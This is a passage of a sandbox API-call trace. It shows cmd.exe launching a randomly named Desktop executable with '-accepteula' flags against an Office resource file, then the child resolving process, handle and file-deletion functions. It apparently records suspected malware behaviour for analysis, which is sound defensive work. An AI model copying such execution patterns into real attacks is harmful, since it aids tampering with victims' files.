(HeapHandle=0x610000, Flags=0x8, Size=0x400a) returned 0x624f08 [0133.420] GetProcessHeap () returned 0x610000 [0133.420] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624f08 | out: hHeap=0x610000) returned 1 [0133.421] _wcsicmp (_String1="bv6ncK8c.exe", _String2=")") returned 57 [0133.421] _wcsicmp (_String1="FOR", _String2="bv6ncK8c.exe") returned 4 [0133.421] _wcsicmp (_String1="FOR/?", _String2="bv6ncK8c.exe") returned 4 [0133.421] _wcsicmp (_String1="IF", _String2="bv6ncK8c.exe") returned 7 [0133.421] _wcsicmp (_String1="IF/?", _String2="bv6ncK8c.exe") returned 7 [0133.421] _wcsicmp (_String1="REM", _String2="bv6ncK8c.exe") returned 16 [0133.421] _wcsicmp (_String1="REM/?", _String2="bv6ncK8c.exe") returned 16 [0133.421] GetProcessHeap () returned 0x610000 [0133.421] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x58) returned 0x6246a8 [0133.421] GetProcessHeap () returned 0x610000 [0133.421] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x22) returned 0x6223f8 [0133.422] GetProcessHeap () returned 0x610000 [0133.422] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x5a) returned 0x622428 [0133.423] GetConsoleTitleW (in: lpConsoleTitle=0x22f5b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0133.423] GetFileAttributesW (lpFileName="bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0133.423] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0133.424] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0133.425] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0133.426] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0133.426] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0133.426] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0133.426] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0133.426] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0133.426] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0133.426] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0133.426] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0133.426] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0133.426] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FOR") returned -4 [0133.426] _wcsicmp (_String1="bv6ncK8c.exe", _String2="IF") returned -7 [0133.426] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REM") returned -16 [0133.426] GetProcessHeap () returned 0x610000 [0133.426] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x210) returned 0x622490 [0133.426] GetProcessHeap () returned 0x610000 [0133.426] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x74) returned 0x628fb8 [0133.426] _wcsnicmp (_String1="bv6n", _String2="cmd ", _MaxCount=0x4) returned -1 [0133.427] GetProcessHeap () returned 0x610000 [0133.427] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x418) returned 0x6226a8 [0133.427] SetErrorMode (uMode=0x0) returned 0x0 [0133.427] SetErrorMode (uMode=0x1) returned 0x0 [0133.427] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6226b0, lpFilePart=0x22f0d0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x22f0d0*="Desktop") returned 0x25 [0133.427] SetErrorMode (uMode=0x0) returned 0x1 [0133.427] GetProcessHeap () returned 0x610000 [0133.427] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6226a8, Size=0x6e) returned 0x6226a8 [0133.427] GetProcessHeap () returned 0x610000 [0133.427] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x6226a8) returned 0x6e [0133.427] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0133.427] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0133.427] GetProcessHeap () returned 0x610000 [0133.427] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x120) returned 0x622720 [0133.427] GetProcessHeap () returned 0x610000 [0133.427] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x238) returned 0x622848 [0133.433] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x622848, Size=0x122) returned 0x622848 [0133.433] GetProcessHeap () returned 0x610000 [0133.433] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x622848) returned 0x122 [0133.433] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0133.433] GetProcessHeap () returned 0x610000 [0133.433] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xe0) returned 0x622978 [0133.434] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x622978, Size=0x76) returned 0x622978 [0133.434] GetProcessHeap () returned 0x610000 [0133.434] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x622978) returned 0x76 [0133.436] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0133.436] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x22ee6c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22ee6c) returned 0x6229f8 [0133.436] GetProcessHeap () returned 0x610000 [0133.436] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x14) returned 0x622a38 [0133.437] FindClose (in: hFindFile=0x6229f8 | out: hFindFile=0x6229f8) returned 1 [0133.437] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0133.437] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0133.437] GetConsoleTitleW (in: lpConsoleTitle=0x22f344, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0133.437] InitializeProcThreadAttributeList (in: lpAttributeList=0x22f1cc, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x22f294 | out: lpAttributeList=0x22f1cc, lpSize=0x22f294) returned 1 [0133.437] UpdateProcThreadAttribute (in: lpAttributeList=0x22f1cc, dwFlags=0x0, Attribute=0x60001, lpValue=0x22f28c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x22f1cc, lpPreviousValue=0x0) returned 1 [0133.437] GetStartupInfoW (in: lpStartupInfo=0x22f188 | out: lpStartupInfo=0x22f188*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x80, hStdError=0xb)) [0133.437] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x18) returned 0x6229f8 [0133.437] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0133.437] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0133.437] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0133.437] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0133.437] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0133.437] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0133.437] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0133.437] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0133.437] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0133.437] _wcsnicmp (_String1="COPYCMD", _String2="FN=\"mso", _MaxCount=0x7) returned -3 [0133.437] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0133.437] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0133.438] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0133.438] GetProcessHeap () returned 0x610000 [0133.438] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6229f8 | out: hHeap=0x610000) returned 1 [0133.438] GetProcessHeap () returned 0x610000 [0133.438] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xa) returned 0x6200d0 [0133.438] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0133.441] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"msoeres.dll.mui\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x22f228*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"msoeres.dll.mui\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x22f274 | out: lpCommandLine="bv6ncK8c.exe -accepteula \"msoeres.dll.mui\" -nobanner", lpProcessInformation=0x22f274*(hProcess=0x78, hThread=0x74, dwProcessId=0x594, dwThreadId=0x560)) returned 1 [0133.617] CloseHandle (hObject=0x74) returned 1 [0133.617] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0133.617] GetProcessHeap () returned 0x610000 [0133.617] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x622d70 | out: hHeap=0x610000) returned 1 [0133.618] GetEnvironmentStringsW () returned 0x622c98* [0133.618] GetProcessHeap () returned 0x610000 [0133.618] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb86) returned 0x62af20 [0133.618] FreeEnvironmentStringsW (penv=0x622c98) returned 1 [0133.618] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0138.122] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x22f168 | out: lpExitCode=0x22f168*=0x0) returned 1 [0138.122] CloseHandle (hObject=0x78) returned 1 [0138.122] _vsnwprintf (in: _Buffer=0x22f2b0, _BufferCount=0x13, _Format="%08X", _ArgList=0x22f174 | out: _Buffer="00000000") returned 8 [0138.122] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0138.122] GetProcessHeap () returned 0x610000 [0138.122] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x62af20 | out: hHeap=0x610000) returned 1 [0138.122] GetEnvironmentStringsW () returned 0x622c98* [0138.122] GetProcessHeap () returned 0x610000 [0138.122] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb86) returned 0x62af20 [0138.122] FreeEnvironmentStringsW (penv=0x622c98) returned 1 [0138.122] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0138.122] GetProcessHeap () returned 0x610000 [0138.122] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x62af20 | out: hHeap=0x610000) returned 1 [0138.123] GetEnvironmentStringsW () returned 0x622c98* [0138.123] GetProcessHeap () returned 0x610000 [0138.123] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb86) returned 0x62af20 [0138.123] FreeEnvironmentStringsW (penv=0x622c98) returned 1 [0138.123] GetProcessHeap () returned 0x610000 [0138.123] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6200d0 | out: hHeap=0x610000) returned 1 [0138.123] DeleteProcThreadAttributeList (in: lpAttributeList=0x22f1cc | out: lpAttributeList=0x22f1cc) [0138.123] _get_osfhandle (_FileHandle=1) returned 0x80 [0138.123] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0138.123] _get_osfhandle (_FileHandle=1) returned 0x80 [0138.123] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0138.123] _get_osfhandle (_FileHandle=0) returned 0x3 [0138.123] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0138.123] SetConsoleInputExeNameW () returned 0x1 [0138.124] GetConsoleOutputCP () returned 0x1b5 [0138.124] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0138.124] SetThreadUILanguage (LangId=0x0) returned 0x409 [0138.124] exit (_Code=0) Process: id = "242" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0xacba000" os_pid = "0x594" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "241" os_parent_pid = "0x8dc" cmd_line = "bv6ncK8c.exe -accepteula \"msoeres.dll.mui\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 854 os_tid = 0x560 [0134.094] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0134.094] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0134.094] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0134.094] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0134.094] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0134.094] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0134.094] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0134.094] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0134.094] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0134.094] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0134.094] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0134.095] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0134.095] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0134.095] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0134.095] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0134.095] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0134.095] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0134.095] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0134.095] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0134.095] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0134.095] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0134.095] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0134.095] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0134.095] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0134.095] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0134.095] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0134.096] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0134.096] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0134.096] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0134.096] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0134.096] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0134.096] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0134.096] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0134.096] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0134.096] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0134.096] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0134.096] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0134.096] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0134.096] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0134.096] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0134.097] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0134.097] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0134.097] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0134.097] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0134.097] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0134.097] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0134.097] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0134.097] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0134.097] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0134.097] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0134.097] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0134.097] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0134.097] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0134.097] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0134.098] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 